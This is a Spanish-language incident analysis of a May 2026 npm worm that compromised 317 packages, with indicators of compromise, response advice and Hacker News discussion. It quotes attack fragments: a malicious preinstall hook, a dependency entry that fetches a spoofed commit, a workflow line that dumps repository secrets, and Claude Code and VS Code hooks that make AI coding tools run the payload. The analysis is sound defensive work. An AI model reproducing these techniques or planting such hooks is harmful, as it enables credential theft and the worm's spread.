- La cuenta de npm de atool fue comprometida el 19 de mayo de 2026 y, durante unos 22 minutos, se publicaron automáticamente 637 versiones maliciosas en 317 paquetes
- La carga útil era un script de Bun ofuscado de 498 KB que usaba la misma estructura de escáner y expresiones regulares que Mini Shai-Hulud, empleado en el compromiso de SAP
- Los objetivos de robo se ampliaron a credenciales de AWS, tokens de Kubernetes, Vault, PAT de GitHub, tokens de npm, claves SSH e incluso secretos locales
- En CI, intercambia GitHub Actions OIDC por tokens de publicación de npm y abusa de la firma de Sigstore y de la inyección de workflows maliciosos
- La respuesta requiere verificar si se instalaron versiones comprometidas, rotar todas las credenciales que pudieron haber estado accesibles y aplicar lockfile y fijación de dependencias, además de inspecciones previas a la instalación
Resumen del ataque
- La cuenta de npm de
atool(i@hust.cc) fue comprometida el 19 de mayo de 2026 y, durante unos 22 minutos, se publicaron 637 versiones maliciosas en 317 paquetes - Esta cuenta mantenía 547 paquetes, y el atacante realizó dos incrementos de versión en más de 314 de ellos
- Entre los paquetes afectados están
size-sensor(4.2 millones de descargas mensuales),echarts-for-react(3.8 millones),@antv/scale(2.2 millones),timeago.js(1.15 millones) y varios paquetes bajo el scope@antv - La carga útil es un script ofuscado de Bun de 498 KB y usa la misma estructura de escáner, expresiones regulares para credenciales y patrones de ofuscación que el toolkit Mini Shai-Hulud utilizado en el compromiso de SAP tres semanas antes
- Los datos robados se confirmaban como objetos Git en repositorios públicos de GitHub o se enviaban mediante HTTPS POST cifrado con RSA+AES a
t.m-kosche[.]com
Método de distribución y riesgo de semver
- La primera ola publicó unas 317 versiones entre las 01:39 y las 01:56 UTC del 19 de mayo de 2026, y la segunda hizo cerca de 314 incrementos de versión en los mismos paquetes entre las 02:05 y las 02:06 UTC
- La mayoría de los paquetes, 309 en total, recibieron exactamente 2 versiones maliciosas, una por cada ola
- Cuatro paquetes —
size-sensor,echarts-for-react,jest-canvas-mockyjest-date-mock— recibieron 3 versiones, lo que sugiere que se usaron en pruebas iniciales - El atacante no movió el dist-tag
latesten la mayoría de los paquetes, pero la resolución semver de npm elige la versión más alta que coincida con el rango independientemente delatest - Por ejemplo, aunque
latestdeecharts-for-reactsiguiera en3.0.6, un proyecto con"echarts-for-react": "^3.0.6"podría resolverse a la versión maliciosa3.2.7en la siguiente instalación limpia
Ruta de ejecución y carga útil
- Todas las versiones alteradas agregaron un incremento de versión y
"preinstall": "bun run index.js"enpackage.json - De las 637 versiones maliciosas, 630 añadieron
@antv/setup: github:antvis/G2#<commit-sha>enoptionalDependenciespara traer una segunda copia de la carga útil - El hook
preinstallse ejecuta antes de instalar dependencias y requiere el runtime de Bun - Incluso si
preinstallse bloquea o se omite, el scriptpreparedel commit que suplanta a GitHub queda como segunda ruta de ejecución index.jses un bundle ofuscado de Bun de una sola línea y 498 KB, con el mismo requisito de Bun, ofuscación con variables hexadecimales, estructura de escáner con umbral de flush de 100 KB y conjunto de expresiones regulares para credenciales que la carga útil Mini Shai-Hulud usada en el compromiso de SAP- La detección de entornos CI revisa variables de entorno de más de 20 plataformas, incluidas GitHub Actions, Jenkins, GitLab CI, CircleCI, Travis, Buildkite, Drone, TeamCity, AppVeyor, Bitbucket Pipelines, CodeBuild, Azure DevOps, Netlify y Vercel
Objetivos de recolección de credenciales
- La carga útil lee más de 80 variables de entorno con nombres cifrados y escanea el contenido de archivos mediante expresiones regulares
- Los objetivos principales incluyen token de GitHub, token de npm, JWT de GitHub Actions, clave de AWS, clave de Azure, connection string de base de datos, clave de Stripe, clave SSH, autenticación de Docker, token de Vault, token de Kubernetes y credenciales incrustadas en URL
- El escáner de archivos lee ubicaciones estándar de credenciales en el directorio personal, como
.ssh,.aws/credentials,.npmrc,.docker/config.jsony.kube/config - Recorre todo el orden de resolución de credenciales de AWS, obtiene credenciales de roles IAM desde EC2 IMDSv2 y el endpoint de credenciales de contenedores de ECS, e intenta usar AWS STS
GetCallerIdentityy acceder a Secrets Manager - En Vault, revisa archivos de token y valores como
VAULT_ADDR,VAULT_TOKENyVAULT_ROLE, y si encuentra credenciales válidas intenta enumerar secretos y autenticarse en AWS y Kubernetes - En Kubernetes, revisa el token de service account y
KUBECONFIG, y si encuentra un socket de Docker intenta enumerar contenedores del host y escapar del contenedor
C2 y exfiltración de datos
- La API de GitHub se usa como si fuera C2: valida tokens de GitHub robados con
GET /usery enumera organizaciones conGET /user/orgs - Los tokens con permisos
repoopublic_reposuficientes se usan para crear repositorios de exfiltración del atacante - La descripción del repositorio creado guarda la cadena invertida
niagA oG eW ereH :duluH-iahS, que al leerla en orden correcto dice “Shai-Hulud: Here We Go Again” - Los nombres de repositorio combinan dos palabras temáticas de Dune y un número, como
harkonnen-melange-742,fremen-sandworm-315ogesserit-navigator-508 - Los datos exfiltrados se guardan mediante la Git Data API en el orden blob, tree, commit y actualización de ref
- Un emisor HTTPS separado se configura para parecerse a un endpoint de ingestión de trazas OTLP de OpenTelemetry en
hxxps://t.m-kosche[.]com/api/public/otel/v1/traces - La carga útil HTTPS cifra JSON comprimido con gzip usando AES-256-GCM y encapsula la clave AES con RSA-OAEP usando una clave pública codificada en duro
Abuso de CI/CD y de la cadena de confianza
- En repositorios de GitHub accesibles con los tokens robados, recolecta historial de ejecución de workflows, artifacts, nombres de secretos, lista de ramas y configuración de Claude Code
- La API de GitHub no permite acceder a los valores de los secretos, pero sus nombres revelan qué credenciales existen
- El workflow malicioso se inyecta en
.github/workflows/codeql.yml, se llamaRun Copiloty se activa conpush - El workflow carga todos los secrets del repositorio en una variable de entorno como JSON con
VARIABLE_STORE: ${{ toJSON(secrets) }}, los guarda enformat-results.txty luego los sube como artifact - Después descarga el ZIP del artifact y reduce los rastros de la inyección eliminando la ejecución del workflow y restableciendo la referencia de la rama
- En CI con GitHub Actions OIDC, intenta intercambiarlo por un token de publicación de npm en el endpoint
https://registry.npmjs.org/-/npm/…; - La carga útil incluye una implementación de firma Sigstore, con formatos de Fulcio, Rekor y SLSA provenance, lo que le permite crear artifacts firmados con identidades de CI comprometidas
Entornos de desarrollo y agentes de codificación con IA infectados
- El payload apunta a entornos de Claude Code, Codex y VS Code mediante inyección remota a través de la API de GitHub e infección local mediante escritura en el sistema de archivos
- Hace commit de
.vscode/tasks.json,.claude/index.js,.claude/settings.json,.claude/setup.mjs,.vscode/setup.mjsen repositorios accesibles con los tokens robados .claude/settings.jsonregistra un hookSessionStartpara ejecutarnode .claude/setup.mjscada vez que inicia una sesión de Claude Code.vscode/tasks.jsonactiva la ejecución cuando se abre la carpeta del proyecto con"runOn": "folderOpen"setup.mjsdescarga Bun v1.3.14 desde el release oficial de GitHub, extrae el binario y luego ejecuta el payload- La ruta de infección local copia el payload a
~/.claude/package/index.jsy~/.codex/package/index.js, y escanea los archivos de configuración existentes del proyecto para inyectar hooks - En Mac con Apple Silicon esta ruta de infección local se omite, mientras que en Linux, Mac Intel y Windows sí se ejecuta
Persistencia y C2 dead-drop en GitHub
- Un demonio de ejecución persistente disfrazado como
kitty-monitorse instala como servicio de usuario de systemd en Linux y como~/Library/LaunchAgents/com.user.kitty-monitor.plisten macOS - El instalador usa
systemctl --user enable --nowyloginctl enable-lingerpara mantenerse incluso después de cerrar sesión - El demonio
cat.pyconsulta la GitHub Search API cada hora y busca commits que incluyan la palabra clavefiredalazer - El formato del mensaje de commit es
firedalazer <base64_url>.<base64_signature>y, tras verificar la firma RSA-PSS con una clave pública RSA de 4096 bits codificada de forma fija, ejecuta el código Python de la URL - Un demonio separado,
gh-token-monitor, consulta los tokens de GitHub robados cada 60 segundos y su TTL es de 24 horas - El escáner de memoria de procesos vuelca regiones de memoria legibles del proceso worker del runner de GitHub Actions usando
/proc/pid/maps+memen Linux yReadProcessMemoryen Windows
Commits falsificados de antvis/G2
- 630 de las 637 versiones maliciosas incluyen una entrada
optionalDependenciesque apunta a un commit específico del repositorioantvis/G2{ "optionalDependencies": { "@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569" } } - Cuando npm resuelve una dependencia
github:, obtiene ese commit, buscapackage.jsony luego ejecuta los scripts del ciclo de vida - Ese commit contiene un
package.jsonque declara@antv/setupe incluye un scriptprepare, además de unindex.jsde 499 KB con el mismo payload de Shai-Hulud ofuscado nuevamente - El
&& exit 1del scriptpreparehace que la optional dependency falle, pero npm no trata la falla de una optional dependency como fatal, así que la instalación continúa - La Git API muestra 3 SHA de commit distintos enviados a
antvis/G2, y ninguno está adjunto a ninguna rama - Los tres commits comparten los mismos metadatos: author
huiyu.zjt <Alexzjt@users.noreply.github.com>, commit messageNew Package, 0 parents y sin firma GPG - El atacante puede dejar commits huérfanos con payload que se pueden obtener por SHA dentro del namespace del repositorio padre creando un orphan commit en un fork sin tener permisos de escritura sobre
antvis/G2, y luego borrando el fork - Este método es del mismo tipo que el problema de commits falsificados en GitHub Actions documentado por Chainguard, y aquí se aplica a la resolución de dependencias
github:de npm
Indicadores de compromiso
- Deben revisarse los paquetes publicados por
atool(i@hust.cc) entre 2026-05-19 01:44 y 02:06 UTC - El script
preinstallesbun run index.js - El SHA256 del payload es
a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c - Los commits falsificados de
antvis/G2son los siguientes1916faa365f2788b6e193514872d51a242876569— 626 versiones7cb42f57561c321ecb09b4552802ae0ac55b3a7a— 2 versionesdc3d62a2181beb9f326952a2d212900c94f2e13d— 1 versión, garbage collected
- Los IoC de red incluyen
hxxps://t.m-kosche[.]com/api/public/otel/v1/traces, metadatos de EC2 en169.254.169.254y solicitudes de metadatos de contenedor ECS a169.254.170.2 - Los IoC de repositorio incluyen la rama
chore/add-codeql-static-analysis, el workflowRun Copiloty.github/workflows/codeql.ymlque vuelcatoJSON(secrets)aformat-results.txt - Los IoC del entorno de desarrollo incluyen el hook
SessionStarten.claude/settings.json,"runOn": "folderOpen"en.vscode/tasks.json,.claude/setup.mjsy.vscode/setup.mjs - Los IoC de persistencia incluyen
kitty-monitor.service,com.user.kitty-monitor.plist,~/.local/bin/gh-token-monitor.sh,~/.local/share/kitty/cat.py,/var/tmp/.gh_update_state
Paquetes representativos que deben verificarse
- La tabla
compromised-packages.csvtiene 2 columnas, Package y Compromised Versions, y según la tabla se muestran 317 paquetes - Debe verificarse en el lockfile si existen esos paquetes y las versiones maliciosas publicadas el 2026-05-19
- Paquetes representativos de
@antvy versiones maliciosas@antv/g2:5.5.8,5.6.8@antv/g6:5.2.1,5.3.1@antv/g:6.4.1,6.5.1@antv/l7:2.26.10,2.27.10@antv/x6:3.2.7,3.3.7@antv/s2:2.8.1,2.9.1@antv/f2:5.15.0,5.16.0
- Paquetes generales de npm y versiones maliciosas
echarts-for-react:3.0.7,3.1.7,3.2.7size-sensor:1.0.4,1.1.4,1.2.4jest-canvas-mock:2.5.3,2.6.3,2.7.3jest-date-mock:1.0.11,1.1.11,1.2.11timeago.js:4.1.2,4.2.2timeago-react:3.1.7,3.2.7@lint-md/cli:2.1.0,2.2.0@lint-md/core:2.1.0,2.2.0@lint-md/parser:0.1.14,0.2.14
Respuesta y defensa
- Si se instaló una versión comprometida, se deben rotar los tokens de npm, GitHub PAT, claves de AWS, claves SSH, credenciales de la nube, contraseñas de bases de datos, tokens de Vault, tokens de service account de Kubernetes y secretos del administrador de contraseñas local a los que el entorno de compilación haya podido acceder
t.m-kosche[.]comdebe bloquearse a nivel de red y de DNS- Se debe verificar si se crearon repositorios públicos no autorizados bajo cuentas de GitHub con tokens accesibles desde el entorno de compilación
- Se deben revisar los logs de publicación de paquetes no autorizados y de intercambio de tokens npm OIDC en los pipelines de CI
- Se deben revisar los registros de transparencia de Sigstore para ver si hay artifacts firmados creados con una identidad de CI comprometida
- En proyectos locales de Node.js, se deben revisar el hook
.claude/settings.json, las tareas de autoejecución de.vscode/tasks.json,.claude/setup.mjsy.vscode/setup.mjs - Se deben eliminar el servicio de usuario systemd
kitty-monitory el LaunchAgentcom.user.kitty-monitor, y verificar si existen~/.local/share/kitty/cat.py,/var/tmp/.gh_update_statey~/.local/bin/gh-token-monitor.sh - Se deben fijar las dependencias o usar un lockfile para evitar que la resolución de rangos semver lleve a versiones maliciosas
- Se debe auditar la exposición del socket de Docker y el acceso a metadata de EC2 en los pipelines de CI/CD, y considerar limitar el hop limit de IMDSv2
- Package Manager Guard (pmg) es un proxy de instalación de código abierto que contrasta paquetes con inteligencia de amenazas antes de ejecutar
preinstall - dependency cooldown puede rechazar versiones publicadas dentro de una ventana de tiempo configurable, lo que ayuda a reducir oleadas repentinas de despliegues en las que un rango semver se resuelve hacia una nueva versión maliciosa
- vet puede detectar actualizaciones anómalas de paquetes, como hooks
preinstallinesperados, aumentos bruscos de tamaño o cambios de maintainer, antes de que lleguen a los pipelines de CI/CD - El alcance del impacto —547 paquetes bajo una sola cuenta y más de 314 paquetes convertidos en armas en una sola sesión— deja en evidencia debilidades estructurales en el modelo de confianza de npm
Material de referencia
- Shai-Hulud Goes Open Source: Static Analysis of the Framework — Datadog Security Labs
- The Shai-Hulud Code Drop — ReversingLabs
1 comentarios
Comentarios de Hacker News
Ya es hora de que los scripts de ciclo de vida de NPM estén desactivados por defecto
En nombre de la conveniencia, básicamente se incorporó la ejecución de código arbitrario, y eso también aplica a las dependencias transitivas. Todos los ataques tipo gusano de NPM ampliamente difundidos se propagaron gracias a esa configuración por defecto. No debería bastar con activarlos una vez en cierto comando para que todas las dependencias transitivas puedan ejecutar scripts de ciclo de vida; habría que marcar explícitamente cada dependencia que realmente los necesite
La inmensa mayoría de los paquetes de NPM no dependen de estos scripts, así que, si todavía no lo hiciste, conviene desactivarlos globalmente
Aunque, claro, los paquetes también pueden ejecutar la basura que quieran la primera vez que el programa los importa
Decir “no hay forma de detenerlo” solo sale de un administrador de paquetes donde esto pasa con regularidad
¿No llegará un punto en el que sea mejor desactivar Dependabot y fijar completamente los paquetes de NPM, incluso en versiones minor/patch, en vez de seguir actualizando?
Sobre todo en paquetes de frontend, últimamente parece menos común ver correcciones de seguridad relevantes que ataques a la cadena de suministro
Es triste, pero si conviertes el frontend en un BOM estático y confías en que NPM al menos respete la restricción de “no se puede volver a publicar una versión anterior”, ¿hay alguna razón para no hacerlo?
Podrían hacerse excepciones para versiones que corrigen CVE conocidos
La situación se está volviendo cada vez más loca. En lo personal, ya eliminé de mi máquina node, python y todos los administradores de paquetes, y en su lugar solo los uso dentro de devcontainers o VMs
Incluso si la comunidad de desarrolladores logra crear protecciones muy reforzadas, me preocupa que, de aquí a un año más o menos, la capacidad de ingeniería social de los modelos sea lo suficientemente buena como para que esto siga siendo una partida perdida
Por ejemplo, el esfuerzo que implicó el hackeo de XZ fue gigantesco, y no podía acelerarse porque dependía de desgastar al mantenedor existente con el tiempo. Puedes generar y enviar en segundos todos los mensajes maliciosos necesarios, pero la velocidad a la que los humanos los leen no aumenta; de hecho, si llegan todos de golpe, solo levantarán sospechas
También hay un límite a lo convincentes que pueden ser los inputs. Seguro podrías tomar cualquier mensaje malicioso dirigido al mantenedor de XZ y hacerlo más perverso, más preciso y más alineado con sus debilidades y temores personales, pero ¿habría sido mucho más efectivo en conjunto? Probablemente no, o solo un poco
Ahora que Zed ya llegó a la 1.0, me gustaría cambiarme por completo, pero hasta donde sé su modelo de seguridad es de todo o nada. O permites que descargue e instale cualquier paquete de NPM que yo no conozco, o desactivas toda la funcionalidad LSP
Y mientras tanto, siguen apareciendo noticias como esta
¿No podría npm implementar un programa en el que retrase automáticamente las subidas de paquetes unos 10 minutos y, en ese lapso, los distribuya a un ecosistema de empresas externas de auditoría de código para que los revisen de forma automática?
Incluso podrían hacer una tabla pública de posiciones sobre qué auditor detecta problemas con mayor rapidez y confiabilidad, o dar recompensas económicas
Esta lista está incompleta. Al menos otro paquete, la extensión nx-console para VS Code, también fue infectado ayer por este gusano y tiene 2.2 millones de descargas
Si alguien con credenciales y conexiones está leyendo esto, valdría la pena seguir también esa cadena de dependencias para ver si hay más casos. Referencia aquí:
https://github.com/nrwl/nx-console/security/advisories/GHSA-...
PD: publiqué esto en HN para avisarle a la gente justo después de la infección, pero lamentablemente casi no recibió votos
Viendo el ecosistema completo, TC39 debería considerar cómo agregar una biblioteca estándar mejor a JS en sí. Eso ayudaría a reducir la cantidad de paquetes de una sola línea
De acuerdo. Cuando trabajaba con Deno, una de las mejores partes era la biblioteca estándar[0] y, en general, un entorno de desarrollo mucho más completo. Que el runtime incluya un ejecutor de tests integrado y una biblioteca de assertions debería ser lo más normal del mundo
0 - https://docs.deno.com/runtime/reference/std/
node:test[0] ynode:assert/strict[1].node --testpuede reemplazar a Mocha con bastante facilidad, ynode:assert/strictestá bien, aunque a veceschairesulta más cómodo por cuestiones de ergonomía, comoexpect. El @std de Deno sí trae una biblioteca de assertions estiloexpectEl problema es que en el ecosistema de Node hay demasiados ejecutores de tests, y varios de ellos no son tan fáciles de sustituir como Mocha. Por eso, migrar hacia el harness de pruebas y la biblioteca de assertions que vienen por defecto va a ser, naturalmente, dolorosamente lento. A la gente le gusta la complejidad excesiva de Jest y Vitest por distintos motivos. Las grandes empresas pensaron que Karma era una buena idea. Todavía no entiendo por qué a más desarrolladores no les repelía la lógica de “¿te gusta V8 para pruebas unitarias? Entonces te vamos a lanzar otra copia de V8 encima de tu entorno V8 existente”
[0] https://nodejs.org/api/test.html
[1] https://nodejs.org/api/assert.html#strict-assertion-mode
¿Qué biblioteca estándar de un lenguaje trae un formateador de “hace 3 horas”? Eso es lo que hace timeago.js
slice.js no hace más que ofrecer índices negativos al estilo Python. TC39 ya hizo que array.at() y array.slice() manejen negativos
https://nodejs.org/api/
Según dicen, el payload revisa si existe el socket de Docker y, si está, intenta un escape de contenedor por tres métodos secuenciales
Así que incluso si lo ejecutas dentro de un devcontainer o una VM, este tipo de gusanos ya está intentando salirse
Hay que asegurarse de usar un motor de VM rootless. Por ejemplo, algo como podman en vez de Docker
Me recuerda a la época en que la gente daba cuentas Linux de bajo privilegio confiando en que el kernel impediría la escalada de privilegios. Docker es literalmente lo mismo, solo que con más pasos. Sobre todo hoy, cuando parece que sale una nueva vulnerabilidad local de escalada de privilegios en el kernel cada cinco minutos
Podman es un poco mejor en el sentido de que no le entrega root al atacante, pero igual, ¿para qué darles una cuenta? Mejor usar una VM de verdad
¿Existe en Linux algún sandbox integral como los que hay en BSD?
Ya me quiero bajar de Mr Bones' Wild Ride, pero me da miedo que estas cosas sigan pasando. Por lo que he visto, muchas estrategias comerciales de detección están orientadas al nivel de repositorio/dispositivo/desarrollador cuando se carga o usa un paquete
Se parece a cómo se aborda el spam por email o el malware común. Así que casi siempre va a haber objetivos lo bastante valiosos como para que los actores maliciosos sigan intentándolo. Pero, a diferencia del email, los administradores de paquetes son autoridades centralizadas, y es muy probable que los problemas fuera de banda terminen desplazándose, como siempre, hacia la responsabilidad del desarrollador
Viéndolo desde afuera, me parece que quizá habría que alejarse de la cultura de lanzamientos rápidos y versionado laxo, y enfocarse más en versiones del registro que sean estables y revisadas a fondo. Puede que yo esté equivocado por un efecto de volumen y escala, pero sigue siendo sugerente que los lenguajes más volátiles parezcan verse afectados con más frecuencia
Ojalá hubiera un buen artículo que cubriera todo el panorama actual
El nombre de la montaña rusa en esa película era Mr Bonestripper: https://www.youtube.com/watch?v=NEZEgd8GjJc
En realidad viene de Roller Coaster Tycoon 2: https://knowyourmeme.com/memes/mr-bones-wild-ride
En cuanto a la comparación con el spam, ya nos hemos asentado un poco en casi todos los entornos comerciales y sociales de redes informáticas en la idea de absorber direcciones de correo y hacer que la gente acepte el spam, dándole además una apariencia de legitimidad. Es muy probable que algo parecido ocurra también en este ámbito. Tal vez termine siendo una combinación de software tipo agente de vigilancia de licencias de Oracle con gestión automática de dependencias; es decir, “resolver” el malware de cadena de suministro permitiendo en lista blanca otro malware distinto